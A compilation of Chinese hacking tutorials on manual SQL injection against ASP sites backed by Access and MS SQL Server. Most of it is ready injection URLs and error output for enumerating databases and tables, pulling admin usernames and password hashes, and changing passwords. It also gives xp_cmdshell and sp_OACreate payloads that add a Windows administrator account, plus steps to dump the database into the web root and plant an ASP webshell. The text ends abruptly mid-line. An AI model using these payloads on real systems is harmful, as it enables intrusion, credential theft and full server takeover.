听说很多人想学 SQL 手工注入，但网上的资料都很不全，我在家没事就帮大家找了一些关于 SQL 手工注入经典的教程，希望能给大家带来帮助.....

SQL 注入天书 - ASP 注入漏洞全接触收藏

引言

随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。

ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看 IIS 日志的习惯，可能被入侵很长时间都不会发觉。

但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的 SQL 语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。

根据国情，国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上，PHP+MySQ 占 20%，其他的不足 10%。在本文，我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧，PHP 注入的文章由 NB 联盟的另一位朋友 zwell 撰写，希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？ Lets Go...

入门篇

如果你以前没试过ＳＱＬ注入的话，那么第一步先把 IE 菜单 =>工具 => Internet 选项 => 高级 => 显示友好 HTTP 错误信息 前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为 HTTP 500 服务器错误，不能获得更多的提示信息。

第一节、ＳＱＬ注入原理

以下我们从一个网站 www.mytest.com 开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。

在网站首页上，有名为“ IE 不能打开新窗口的多种解决方法”的链接，地址为：http://www.mytest.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：

Microsoft JET Database Engine 错误 80040e14
字符串的语法错误 在查询表达式 ID=49 中。
/showdetail.asp，行 8

从这个错误提示我们能看出下面几点：

网站使用的是 Access 数据库，通过 JET 引擎连接数据库，而不是通过 ODBC。
程序没有判断客户端提交的数据是否符合程序要求。
该 SQL 语句所查询的表中有一名为 ID 的字段。
从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。

第二节、判断能否进行ＳＱＬ注入

看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？ 其实，这并不是最好的方法，为什么呢？

首先，不一定每台服务器的 IIS 都返回具体错误提示给客户端，如果程序中加了 cint(参数) 之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的

那么，什么样的测试方法才是比较准确呢？答案如下：

http://www.mytest.com/showdetail.asp?id=49
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
这就是经典的 1=1、1=2 测试法 了，怎么判断呢？看看上面三个网址返回的结果就知道了，可以注入的表现：

正常显示（这是必然的，不然就是程序有错误了）
正常显示，内容基本与 1 相同
提示 BOF 或 EOF（程序没做任何判断时）、或提示找不到记录（判断了 rs.eof 时）、或显示内容为空（程序加了 on error resume next）
不可以注入就比较容易判断了，1 同样正常显示，2 和 3 一般都会有程序定义的错误提示，或提示类型转换时出错。

当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer，网上超过 99% 的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢？来看看： SQLServer 有一些系统变量，如果服务器 IIS 提示没关闭，并且 SQLServer 返回错误提示的话，那可以直接从出错信息获取，方法如下：

http://www.mytest.com/showdetail.asp?id=49 ;and user>0
这句语句很简单，但却包含了 SQLServer 特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在 and user>0，我们知道，user 是 SQLServer 的一个内置变量，它的值是当前连接的用户名，类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较，系统会先试图将 nvarchar 的值转成 int 型，当然，转的过程中肯定会出错， SQLServer 的出错提示是：将 nvarchar 值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc 正是变量 user 的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。

顺便说几句，众所周知，SQLServer 的用户 sa 是个等同 Adminstrators 权限的角色，拿到了 sa 权限，几乎肯定可以拿到主机的 Administrator 了。上面的方法可以很方便的测试出是否是用 sa 登录，要注意的是：如果是 sa 登录，提示是将 ”dbo” 转换成 int 的列发生错误，而不是”sa”。

如果服务器 IIS 不允许返回错误提示，那怎么判断数据库类型呢？我们可以从 Access 和 SQLServer 和区别入手，Access 和 SQLServer 都有自己的系统表，比如存放数据库中所有对象的表，Access 是在系统表 [msysobjects]中，但在 Web 环境下读该表会提示“没有权限”，SQLServer 是在表 [sysobjects] 中，在 Web 环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是 SQLServer，那么第一个网址的页面与原页面 http://www.mytest.com/showdetail.asp?id= 49 是大致相同的；而第二个网址，由于找不到表 msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是 Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启 IIS 错误提示时的验证。

进阶篇
在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，

是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：

第一节、ＳＱＬ注入的一般步骤

首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。
其次，根据注入参数类型，在脑海中重构 SQL 语句的原貌，按参数类型主要分为下面三种：

ID=49 这类注入的参数是数字型，SQL 语句原貌大致如下：
Select * from 表名 where 字段=49
注入的参数为 ID=49 And [查询条件]，即是生成语句：
Select * from 表名 where 字段=49 And [查询条件]
Class=连续剧 这类注入的参数是字符型，SQL 语句原貌大致概如下：
Select * from 表名 where 字段='连续剧'
注入的参数为 Class=连续剧' and [查询条件] and ''=' ，即是生成语句：
Select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
搜索时没过滤参数的，如 keyword=关键字，SQL 语句原貌大致如下：
Select * from 表名 where 字段 like '%关键字%'
注入的参数为 keyword=' and [查询条件] and '%25'=' ， 即是生成语句：
Select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'
接着，将查询条件替换成 SQL 语句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0
如果页面就与 ID=49 的相同，说明附加条件成立，即表 Admin 存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。 表名猜出来后，将 Count(*) 替换成 Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在 100% 成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。 有点跑题了，话说回来，对于 SQLServer 的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。

最后，在表名和列名猜解成功后，再使用 SQL 语句，得出字段的值，下面介绍一种最常用的方法－Ascii 逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。

我们举个例子，已知表 Admin 中存在 username 字段，首先，我们取第一条记录，测试长度：

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先说明原理：如果 top 1 的 username 长度大于 0，则条件成立；接着就

是 >1、>2、>3 这样测试下去，一直到条件不成立为止，比如 >7 成立，>8 不成立，就是 len(username)=8

当然没人会笨得从 0,1,2,3 一个个测试，怎么样才比较快就看各自发挥了。在得到 username 的长度后，用 mid(username,N,1) 截取第 N 位字符，再 asc(mid(username,N,1)) 得到 ASCII 码，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码，注意的是英文和数字的 ASCII 码在 1-128 之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。

第二节、ＳＱＬ注入常用函数

有 SQL 语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的 SQL 水平，特别是一些常用的函数及命令。

Access：asc(字符) SQLServer：unicode(字符)　作用：返回某字符的 ASCII 码
Access：chr(数字) SQLServer：nchar(数字)　作用：与 asc 相反，根据 ASCII 码返回字符
Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)　作用：返回字符串从 N 个字符起长度为 L 的子字符串，即 N 到 N+L 之间的字符串
Access：abc(数字) SQLServer：abc (数字)　作用：返回数字的绝对值（在猜解汉字的时候会用到）
Access：A between B And C SQLServer：A between B And C　作用：判断 A 是否界于 B 与 C 之间
第三节、中文处理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。 先说一点常识：

Access 中，中文的 ASCII 码可能会出现负数，取出该负数后用 abs()取绝对值，汉字字符不变。
SQLServer 中，中文的 ASCII 为正数，但由于是 UNICODE 的双位编码，不能用函数 ascii()取得 ASCII 码，必须用函数 unicode ()返回 unicode 值，再用 nchar 函数取得对应的中文字符。
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。

高级篇
看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。

第一节、利用系统表注入 SQLServer 数据库

SQLServer 是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：

http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1 的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot1.db’;--
这是相当狠的一招，从 3 拿到的数据库名，加上某些 IIS 出错暴露出的绝对路径，将数据库备份到 Web 目录下面，再用 HTTP 把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如202.96.xx.xxShare 1.db），但成功率不高。
http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects 是 SQLServer 的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与 0 比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从 5 拿到表名后，用 object_id(‘表名’)获取表名对应的内部 ID，col_name(表名ID,1) 代表该表的第 1 个字段名，将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。
以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶，可以看出，对 SQLServer 的了解程度，直接影响着成功率及猜解速度。在我研究 SQLServer 注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。

在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入 SQLServer 数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：

简单的如 where xtype=’U’，字符 U 对应的 ASCII 码是 85，所以可以用 where xtype=char(85)代替；如果字符是中文的，比如 where name=’用户’，可以用 where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

有些人会过滤 Select、Update、Delete 这些关键字，但偏偏忘记区分大小写，所以大家可以用 selecT 这样尝试一下。
在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
特别注意：地址栏的+号传入程序后解释为空格，%2B 解释为 + 号，%25 解释为 % 号，具体可以参考 URLEncode 的相关介绍。
用 Get 方法注入时，IIS 会记录你所有的提交字符串，对 Post 方法做则不记录，所以能用 Post 的网址尽量不用 Get。
猜解 Access 时只能用 Ascii 逐字解码法，SQLServer 也可以用这种方法，只需要两者之间的区别即可，但是如果能用 SQLServer 的报错信息把值暴露出来，那效率和准确率会有极大的提高。
防范方法
ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替 ASP 中的 Request 函数，可以对一切的 SQL 注入 Say NO，函数如下：

```
Function SafeRequest(ParaName,ParaType)
--- 传入参数 ---
ParaName:参数名称-字符型
ParaType:参数类型-数字型(1 表示以上参数是数字，0 表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"","")
End if
SafeRequest=ParaValue
End function
```

文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。 （作者：小竹）

漏洞描述：MSSQL 跨库查询.可以暴露任意库中任意表中字段的值.
漏洞发现者：中国网络脚本安全测试小组--臭要饭的!,黑夜.
测试和利用：臭要饭的!,黑夜.
测试日期：2003-10-30

前言：
哎，真是无聊，又烦人，我这个要饭的，日子越来越不好过了。有人居然说我奉旨要饭，我真是没得语言了，所以抽了空玩点 COOL 的，好让大家来分享分享！大家都知道 SQL 跨表查询的东东吧。不过，假如管理员把字段名改成非常复杂的话，那么我们去猜解字段名,那将会是一件非常痛苦的事. 痛苦的事我们就不要去做了，交给想做痛苦的事的人吧.我们去找新的，绕过这个痛苦的过程。绕过这个过程的过程 I LIKE 。这个过程就是我今天要为大家介绍的 MSSQL 跨库查询的用法.

开工吧，让我们来分析一下 MSSQL 的三个关键系统表.

一、分析MSSQL三个关键系统表. (西安禾丰http://www.hf1997.com/).
sysdatabases

MSSQL 中对 sysdatabases 系统表 的说明：
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。

这个表保存在 master 数据库中，这个表中保存的是什么信息呢？这个非常重要。他是
保存了，所有的库名,以及库的 ID，和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯！

name dbid
//表示库的名字. //表示库的 ID.

dbid 从 1 到 5 是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库.

我们利用 SQL 语句：select * from master.dbo.sysdatabases 就可以查询出所有的库名.

sysobjects

MSSQL中对sysobjects系统表的说明： (西安禾丰http://www.hf1997.com/).
在数据库内创建的每个对象（约束、默认值、日志、规则、存储过程等）在表中占一行。只有在 tempdb 内，每个临时对象才在该表中占一行。

这个是列出数据库对象的系统表。当然数据库表名也在里面的.
这里我就为大家列出一些对我们有用的字段名称和相关说明.
name id xtype uid
对象名. 对象 ID 对象类型 所有者对象的用户 ID。

对象类型(xtype)。可以是下列对象类型中的一种：
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束（类型是 K）
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束（类型是 K）
V = 视图
X = 扩展存储过程

当然我们这里只用得到 xtype="U"的值。当等于 U 的时候，对象名就是表名，对象 ID 就是表的 ID 值.

我们利用 SQL 语句: select * from ChouYFD.dbo.sysobjects where xtype="U" 这样就可以列出库名称是：ChouYFD 中所有的表名.

syscolumns

SQL 中 syscolumns 系统表的说明：
每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。

这个就是列出一个表中所有的字段列表的系统表。
这里我就为大家列出一些对我们有用的字段名称和相关说明:
name id colid
//字段名称 //表 ID 号. 字段 ID 号.

其中的 ID 是 刚上我们用 sysobjects 得到的表的 ID 号.
我们利用 SQL 语
句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到 ChouYFD 这个库中，表的 ID 是 123456789 中的所有字段列表.
YES SIR 明白！GO GO GO !!!

好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看 SQL 相关说明.

二、灵活利用系统表
同志们，玩过CS游戏的举手，呵呵，都玩过啊。好！我们今天也要来爆一下"头".
GO GO GO ！！！
不过我们现在爆的是库名，表名，字段名,我们用不着去猜库名，表名，字段名.
说一下怎么爆出相关的库名，表名，字段名.
当两个类型值不一样的时候，将他们做比较,SQL系统会提示出错。并且会显示出类型的值. 如：'aaa'>100 这样比较，也就是字符串和数字的比较，这个怎么比较嘛，系统当然会提示出错啦！大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向的不相同类型比较，爆出他的值.

下面就让我们来测试吧！！！准备好没有？GO！

任务一：得到所有库名.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) _
from master.dbo.sysdatabases where name>1 and dbid=6)

因为 dbid 的值从 1 到 5，是系统用了。所以用户自己建的一定是从 6 开始的。
并且我们提交了 name>1 NAME 字段是一个字符型的字段和数字比较会出错.
那我们提交看一下 IE 返回了什么？

IE 返回.

Microsoft OLE DB Provider for SQL Server 错误 "80040e07"

将 nvarchar 值 "Northwind" 转换为数据类型为 int 的列时发生语法错误。

/jump.asp，行 33

GOOD!!!这样就把 NAME 字段的值爆露出来了: Northwind. 也就是我们得到了一个库名.
改变 DBID 的值.我们可以得出所有的库名.当 DBID 等于 10,11 的时候，爆出了

两个论坛的库名.分别为:
bbs2002
bbs

呵呵，论坛的库名出来啦！！！那我们就不客气了。就找 BBS 这个库吧!

任务二：得到bbs这个库中所有的表名.
先来第一句：
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype="U")
查询的SQL语句,返回的是NAME的值然后和数字 0 比较,这样就会爆露出NAME的值.
好我们提交吧,只听到砰的一声！一个表名(name的值)出来了。名叫：Address.
// 这里多说两句话，如果你提交的时候，他说你没有权限，就说明，这两个库的SQL账
//号的权限不一样，那就放弃吧。你没有资格进行下去. 老兄放弃吧！等他更新账号权
//的时候，我第一时间通知你！一定要相信我臭要饭的！话.

好，再来接着爆其他的表.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _
name from bbs.dbo.sysobjects where xtype="U" and name _
not in("Address"))
又出来一个表名，名叫：admin

依次提交 ... and name not in("address","admin",..)) 可以查出所有的表名.

好，现在我们得到了 ADMIN 这个表，大家都清楚了这个表是做什么的吧！！我们的目的就是要得到这个表中账号字段和密码字段的值。
下面就是要得到这个表中的所有字段名了咧！ 怎么得到字段名呢?系统表: syscolumns
中有用字段为: name、 id、colid 其中 ID 是保存着表的 ID。也就是说我们要得到表的 ID 号然后，用 SELECT * from bbs.dbo.syscolumns where id=bbs 表的 ID 这样才能列出 BBS 这个表中所有的字段. 说了半天，哎，说不清楚了。看我表演吧！

http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*)_
from bbs.dbo.sysobjects where xtype="U" and name="admin"_
and uid>(str(id)))
//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧，呵呵，这也想得出来。 (西安禾丰http://www.hf1997.com/).
又听到砰的一声！ID号出来了。值为：773577794
OK.GOOD!! 进入下关吧。

任务三：得到ADMIN这个表中的所有字段列表：
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _
name from BBS.dbo.syscolumns where id=773577794)
又是把NAME和数字比较.

IE 返回：adduser 呵呵，来来来。
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _
name from BBS.dbo.syscolumns where id=773577794 and name _
not in(“adduser“))
又返回一个字段名：flag
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _
name from BBS.dbo.syscolumns where id=773577794 and name _
not in(“adduser“,“flag“))

好当提交到：
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _
name from BBS.dbo.syscolumns
where id=773577794 and name not in(“adduser“,“flag“,“id“,_
“lastlogin“,“lastloginip“,“password“,“username“))

IE 返回：BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需的操作要求一个当前的记录。
说明，我们已经猜完了。呵呵，看到了吧。
把 BBS 库中的 ADMIN 表中的所有字段列出来了。
分别如下：
adduser,adduser,flag,id,lastlogin,lastloginip,password,username
看了一下，很像动网的论坛。

任务四：查询字段值.
来。我们看看 username 和 password 的值吧。

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from _
BBS.dbo.admin where username>1)
账号出来了：youbiao

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from _
BBS.dbo.admin where password>1 and username=“youbiao“)
密码又出来了：d6b2f32a47b8bcb5 我的天MD5 的！不怕，呵呵~！！！

来。改一下他的密码:
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin _
set password=“AAABBBCCCDDDEEEF“ where username=“youbiao“;--
呵呵，试试。成功了。我们再来给他改回来.

http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin _
set password="d6b2f32a47b8bcb5" where username="youbiao";--
又改回来咯！！！呵~！

通过提交 UPDATE 语句就可以直接把密码给他更改了。不过这是动网的。现在我们得到的只是后台的账号，你还是到前台去加一个用户为管理员才行。 这里，我们只是作测试，不破坏任何数据。 所以本文中的测试网址都更改过。请大家见谅!

[本文章还做了动画，不过测试动画用到的网站是国内一家大型游戏网站,所以这里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立分析和研究]

三、结束，闪人!:
这次测试是和黑夜一起测试的。其中用了不少心思。希望，大家不要利用本方法去破坏网络数据，希望看到本文章的朋友，如果自己的网站用了 SQL 数据库，请认真检查脚本提交的参数.

最新的研究技术.
1.在 MSSQL 查看系统和数据库信息。可以得到系统补丁情况和数据库版本.
2.可以得到 MSSQL 数据库当前连接的账号名，以及账号是什么权限.
3.查看一个 MSSQL 存储扩展过程是否存在.
4.通过有权限的 MSSQL 数据库账号可以得到 WEB 绝对路径的位置.
5.研究出怎么饶过脚本外部提交的限制.
6.给我一个 MSSQL sysadmin 账号我就一定可以给你一个系统管理员权限, 成功率 99%.

正在研究的东西.
1.寻找 DVBBS7.0 的漏洞.
2.研究 MSSQL 查寻目录的方法.
3.研究怎么通过 ACCESS 数据库直接得到 WEBSHELL 的方法.
4.深入研究 ACCESS 没公开的函数，为注入服务.

其实以上的研究只有一个目的就是怎么得到 WEBSHELL.

榨干MS SQL最后一滴血www.diybl.com 时间：2007-06-16 作者:佚名 编辑:本站 点击：
-风云变换的网络，网络安全让人们不能不关注它。数据库，让我们不得不想起强大的ORACLE，MS SQL。微软的漏洞最多，今天就用SQL INJECTION来让MS SQL为我们好好的工作。

以下（使用一知名网站作为测试点），相信大家对SQL爆库，爆表，爆字段都已掌握，在这里就不多说这方面了。
MS SQL内置函数介绍：
@@VERSION 获得Windows的版本号，MS SQL的版本号，补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称
这些信息有助我们对系统进行简单的了解
好，下面我们就开始吧！
语句： http：//www.xxx.com/list.asp?classid=1'返回信息：Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp，行 290
从这里未闭合的引号（“”），我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了，利用以上介绍的函数为我们工作了：
语句： http：//www.xxx.com/list.asp?classid=1 and 0<>(select @@version)—返回：Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14：22：05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195： Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp，行 290
相关的信息出来了，MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3，从MS SQL SERVER 后面的 8.00.760 可看出是SP3 补丁。看了服务器的信息，接下应该了解数据库的权限了：
语句：http：//www.xxx.com/list.asp?classid=1 and user_name()=’dbo’返回： 正常返回的信息
确定是权限是DBO，从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。
返回原理根 1=1，1=2 相似..这里只是权限测试，我们也把它爆出来看看：
语句： http：//www.xxx.com/list.asp?classid=1 and 0<>(select user_name())—返回：Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp，行 290
说明连接数据库的用户权限很高，可以确定是服务器角色组中的成员。
语句：http：//www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回：Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp，行 290
这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员，我们当然想直接得到WEBSHELL，或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置，如果配置不合理的服务器，我们要直接拿NT ADMIN，拿NT ADMIN就要用到：
MSSQL内置存储过程：
sp_OACreate (通过它，危害很得更大，但是需要有SYSADMINS权限才可能使用)
sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop
由于MS SQL一次可以执行多语句，使得我们有机会使用更多的语句。

语句： http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscripq.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：WINNTsystem32cmd.exe /c net user cntest chinatest /add'正常返回。（提示：如果主机上shell存在的话那将在服务器上创建一个cntest的用户）创建用户了，语句后再加个net localgroup administrators cntest /add加到管理组中。如果对方的机子开着 3389 端口，或IPC的话，那接下来的事，就不用我多说了。遇到专业型主机，只开一个 80 端口，那应该怎么办呢？当然，我们还是可能拿到WEBSHELL，再慢慢渗透的。
由于权限高，我们可能先建表，写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程序太过于繁锁，上传WEBSHELL最大的问题还是网页目录，现在网上已经有现成的工具通过BACKUP，和MASKWEBTASK的工具得到WEBSHELL了。以下推荐，获取网页路径（通过存储过程达到对注册表的读取）：
利用内置存储过程 xp_regread(读取注册表键值，权限public)：
语句：http：//www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots
利用爆字段将数据库的值读出来：
语句：http：//www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回： Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E：www,,201' 转换为数据类型为 int 的列时发生语法错误。
这说明网页目录在E：www，接下来也可以利用FSO直接写入ASP木马（提示必须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下） ：
语句：http：
//www.xxx.com/list.asp?class=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripqing.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e：wwwtest.asp',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'--
在E：WWW下创建一个test.asp并写入On Error Resume next语句：
http：
